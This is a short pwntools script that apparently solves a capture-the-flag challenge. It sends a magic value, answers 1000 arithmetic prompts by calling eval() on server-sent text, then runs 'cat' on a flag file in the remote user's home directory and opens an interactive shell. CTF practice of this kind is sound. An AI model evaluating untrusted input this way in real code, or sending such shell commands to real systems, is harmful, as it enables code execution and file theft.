from pwn import *

host = 'isc.taiwan-te.ch'
port = 9999

r = remote(host, port)

r.recvuntil(':)\n');
r.send(p32(0xdeadbeef))
r.recvuntil('seconds!!!\n');

for i in range(1000):
    s = r.recvuntil('?').replace(' = ?', '')
    print s
    ans = eval(s)
    r.sendline(str(ans))

r.sendline('cat /home/`whoami`/flag')

r.interactive()
